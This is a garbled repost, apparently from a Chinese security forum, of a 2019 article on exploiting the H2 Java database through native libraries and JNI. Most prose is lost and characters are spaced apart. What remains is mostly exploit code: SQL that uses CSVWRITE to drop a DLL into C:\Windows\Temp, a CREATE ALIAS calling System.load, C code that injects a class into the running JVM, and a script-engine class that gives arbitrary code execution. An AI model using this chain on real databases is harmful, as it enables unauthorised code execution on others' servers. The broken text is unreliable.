[14743] 2019-10-26_利用原生库和JNI(Java原生接口)实现H2数据库漏洞利用

文档创建者:s7ckTeam
浏览次数:12
最后更新:2025-01-18
2019-10-26_利用原生库和JNI(Java原生接口)实现H2数据库漏洞利用 J N I J a v a H 2 s e c i s t   F r e e B u f   2 0 1 9 - 1 0 - 2 6 H 2 H 2 J a v a H 2 使 使 J a v a J N I J a v a H 2   D o y e n s e c A n d r e a   B r a n c a l e o n i j a c k s o n   g a d g e t s - L o g b a c k H 2 J a c k s o n s e t t e r H 2 使 J a v a   使 J a v a J a v a W i n d o w s H 2 1 . 2 . 1 4 1 W e b 使 . d l l . s o J a v a J N I J a v a 使 J a v a H 2   使 C R E A T E   A L I A S     A S     J a v a J a v a   D e v e l o p m e n t   K i t J D K J a v a R u n t i m e   E n v i r o n m e n t J R E P A T H J a v a j a v a c C R E A T E   A L I A S     F O R       使 J a v a 使 h 2 - 1 . 2 . 1 4 1 . j a r J R E J a v a r t . j a r c a n d i d a t e s S y s t e m . l o a d ( S t r i n g ) H 2 W i n d o w s J a v a U N C L i n u x H 2 使 使   H 2   H 2 F I L E _ W R I T E F I L E _ W R I T E 1 . 4 . 1 9 0 1 . 2 . 1 4 1 C S V W R I T E   w r i t e C S V C S V w r i t e C o l u m n H e a d e r w r i t e C o l u m n H e a d e r 1 . 3 / 1 . 4 . 1 7 7 f i e l d S e p a r a t o r f i e l d D e l i m i t e r e s c a p e n u l l l i n e S e p a r a t o r 使 C S V H 2 H 2 c o l u m n N a m e   a n y t h i n g   C S V W R I T E 8 - b i t   o c t e t C H A R ( n ) S Q L $   p y t h o n   - c   ' i m p o r t   s y s ; [ s y s . s t d o u t . w r i t e ( c h r ( i ) )   f o r   i   i n   r a n g e ( 0 , 2 5 6 ) ] '   >   t e s t . b i n $   s h a 1 s u m   t e s t . b i n 4 9 1 6 d 6 b d b 7 f 7 8 e 6 8 0 3 6 9 8 c a b 3 2 d 1 5 8 6 e a 4 5 7 d f c 8     t e s t . b i n x x d   - p   - c   2 5 6   t e s t . b i n   |   s e d   - e   ' s / . . / ) , C H A R ( 0 x & / g '   - e   ' s / ^ ) , / / '   - e   ' s / $ / ) / '   - e   ' s / C H A R ( 0 x 2 2 ) / & , & / g '
C S V W R I T E 使 使 C S V W R I T E S y s t e m . l o a d ( S t r i n g ) 使 S Q L / J a v a   N a t i v e   I n t e r f a c e J N I J a v a J V M H 2 J V M 使 J N I C l a s s L o a d e r . d e f i n e C l a s s ( b y t e [ ] ,   i n t ,   i n t ) J a v a J V M S Q L 使 使   J N I     J V M J V M J N I _ G e t C r e a t e d J a v a V M s 线 V M J N I J N I E n v 使 J V M J N I F i n d C l a s s ,   G e t S t a t i c M e t h o d I D / G e t M e t h o d I D >   C a l l S t a t i c M e t h o d / C a l l M e t h o d C l a s s L o a d e r . g e t S y s t e m C l a s s L o a d e r ( ) d e f i n e C l a s s S E L E C T   C S V W R I T E ( ' C : W i n d o w s T e m p t e s t . b i n ' ,   C O N C A T ( ' S E L E C T   N U L L   " ' ,     ,   ' " ' ) ,   ' I S O - 8 8 5 9 - 1 ' ,   ' ' ,   ' ' ,   ' ' ,   ' ' ,   ' ' ) ; C : W i n d o w s T e m p >   c e r t u t i l   - h a s h f i l e   t e s t . b i n   S H A 1 S H A 1   h a s h   o f   f i l e   t e s t . b i n : 4 9   1 6   d 6   b d   b 7   f 7   8 e   6 8   0 3   6 9   8 c   a b   3 2   d 1   5 8   6 e   a 4   5 7   d f   c 8 C e r t U t i l :   - h a s h f i l e   c o m m a n d   c o m p l e t e d   s u c c e s s f u l l y . / /   x x d   - p   - c   1 0 0 0 0   b i n / J N I S c r i p t E n g i n e . c l a s s   |   s e d   - e   ' s / . . / 0 x & , / g '   - e   ' s / ^ / c h a r   b u f [ ]   =   { / '   - e   ' s / , $ / } ; / ' / /   p u b l i c   s t a t i c   J N I S c r i p t E n g i n e . e v a l ( S t r i n g   j s )   :   S t r i n g c h a r   b u f [ ]   =   {   / *   . . .   * /   } ; s i z e _ t   b u f L e n   =   s i z e o f ( b u f ) ; j b y t e A r r a y   j D a t a   =   ( * g _ e n v ) - > N e w B y t e A r r a y ( g _ e n v ,   b u f L e n ) ; ( * g _ e n v ) - > S e t B y t e A r r a y R e g i o n ( g _ e n v ,   j D a t a ,   0 ,   b u f L e n ,   ( j b y t e * ) b u f ) ; J N I E n v   *   g _ e n v ; J a v a V M *   g _ v m ; j s i z e   n u m _ v m s   =   0 ; j i n t   r e s u l t   =   J N I _ G e t C r e a t e d J a v a V M s ( & g _ v m ,   1 ,   & n u m _ v m s ) ; i n t   g e t E n v S t a t   =   ( * g _ v m ) - > G e t E n v ( g _ v m ,   ( v o i d   * * ) & g _ e n v ,   J N I _ V E R S I O N _ 1 _ 6 ) ; i f   ( g e t E n v S t a t   = =   J N I _ E D E T A C H E D )   {     / /   p r i n t f ( " G e t E n v :   n o t   a t t a c h e d n " ) ;     i f   ( ( * g _ v m ) - > A t t a c h C u r r e n t T h r e a d ( g _ v m ,   ( v o i d   * * )   & g _ e n v ,   N U L L )   ! =   0 )   {         / /   p r i n t f ( " F a i l e d   t o   a t t a c h n " ) ;     } }   e l s e   i f   ( g e t E n v S t a t   = =   J N I _ O K )   {     / /   p r i n t f ( " G e t E n v :   e v e r y t h i n g ' s   f i n e n " ) ; }   e l s e   i f   ( g e t E n v S t a t   = =   J N I _ E V E R S I O N )   {     / /   p r i n t f ( " G e t E n v :   v e r s i o n   n o t   s u p p o r t e d n " ) ; } j c l a s s   c l s ; j m e t h o d I D   m e t h ; j o b j e c t   o b j ; c l s   =   ( * g _ e n v ) - > F i n d C l a s s ( g _ e n v ,   " j a v a / l a n g / C l a s s L o a d e r " ) ; / /   s t a t i c   j a v a . l a n g . C l a s s L o a d e r . g e t S y s t e m C l a s s L o a d e r ( )   :   j a v a . l a n g . C l a s s L o a d e r m e t h   =   ( * g _ e n v ) - > G e t S t a t i c M e t h o d I D ( g _ e n v ,   c l s ,   " g e t S y s t e m C l a s s L o a d e r " ,   " ( ) L j a v a / l a n g / C l a s s L o a d e r ; " ) ; j o b j e c t   s y s t e m C l a s s L o a d e r   =   ( * g _ e n v ) - > C a l l S t a t i c O b j e c t M e t h o d ( g _ e n v ,   c l s ,   m e t h ) ; / /   j a v a . l a n g . C l a s s L o a d e r . d e f i n e C l a s s ( b y t e [ ] ,   i n t ,   i n t )   :   j a v a . l a n g . C l a s s m e t h   =   ( * g _ e n v ) - > G e t M e t h o d I D ( g _ e n v ,   c l s ,   " d e f i n e C l a s s " ,   " ( [ B I I ) L j a v a / l a n g / C l a s s ; " ) ;
仿 J a v a J a v a J N I S c r i p t E n g i n e 使 S c r i p t E n g i n e S Q L J a v a S c r i p t * c o d e w h i t e s e c F B s e c i s t F r e e B u f . C O M j o b j e c t   l o a d e d C l a s s   =   ( * g _ e n v ) - > C a l l O b j e c t M e t h o d ( g _ e n v ,   s y s t e m C l a s s L o a d e r ,   m e t h ,   j D a t a ,   0 ,   ( j i n t ) b u f L e n ) ; ( * g _ e n v ) - > D e l e t e L o c a l R e f ( g _ e n v ,   j D a t a ) ; ( * g _ v m ) - > D e t a c h C u r r e n t T h r e a d ( g _ v m ) ; C l a s s   c l s   =   C l a s s . f o r N a m e ( " j a v a . l a n g . C l a s s L o a d e r " ) ; M e t h o d   m e t h   =   c l s . g e t D e c l a r e d M e t h o d ( " g e t S y s t e m C l a s s L o a d e r " ,   n e w   C l a s s [ 0 ] ) ; O b j e c t   s y s t e m C l a s s L o a d e r   =   m e t h . i n v o k e ( n u l l ,   n e w   O b j e c t [ 0 ] ) ; m e t h   =   c l s . g e t D e c l a r e d M e t h o d ( " d e f i n e C l a s s " ,   n e w   C l a s s [ ]   {   b y t e [ ] . c l a s s ,   i n t . c l a s s ,   i n t . c l a s s   } ) ; m e t h . s e t A c c e s s i b l e ( t r u e ) ; m e t h . i n v o k e ( s y s t e m C l a s s L o a d e r ,   n e w   O b j e c t [ ]   {   j D a t a ,   0 ,   j D a t a . l e n g t h   } ) ; p u b l i c   c l a s s   J N I S c r i p t E n g i n e   {     p u b l i c   s t a t i c   S t r i n g   e v a l ( S t r i n g   s c r i p t )   t h r o w s   E x c e p t i o n   {         r e t u r n   n e w   j a v a x . s c r i p t . S c r i p t E n g i n e M a n a g e r ( ) . g e t E n g i n e F a c t o r i e s ( ) . g e t ( 0 ) . g e t S c r i p t E n g i n e ( ) . e v a l ( s c r i p t ) . t o S t r i n g ( ) ;     } } - -   w r i t e   n a t i v e   l i b r a r y S E L E C T   C S V W R I T E ( ' C : W i n d o w s T e m p J N I S c r i p t E n g i n e . d l l ' ,   C O N C A T ( ' S E L E C T   N U L L   " ' ,   . . .   ,   ' " ' ) ,   ' I S O - 8 8 5 9 - 1 ' ,   ' ' ,   ' ' ,   ' ' ,   ' ' ,   ' ' ) ; - -   l o a d   n a t i v e   l i b r a r y C R E A T E   A L I A S   I F   N O T   E X I S T S   S y s t e m _ l o a d   F O R   " j a v a . l a n g . S y s t e m . l o a d " ; C A L L   S y s t e m _ l o a d ( ' C : W i n d o w s T e m p J N I S c r i p t E n g i n e . d l l ' ) ; - -   e v a l u a t e   s c r i p t C R E A T E   A L I A S   I F   N O T   E X I S T S   J N I S c r i p t E n g i n e _ e v a l   F O R   " J N I S c r i p t E n g i n e . e v a l " ; C A L L   J N I S c r i p t E n g i n e _ e v a l ( ' 7 * 1 9 1 ' ) ;

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则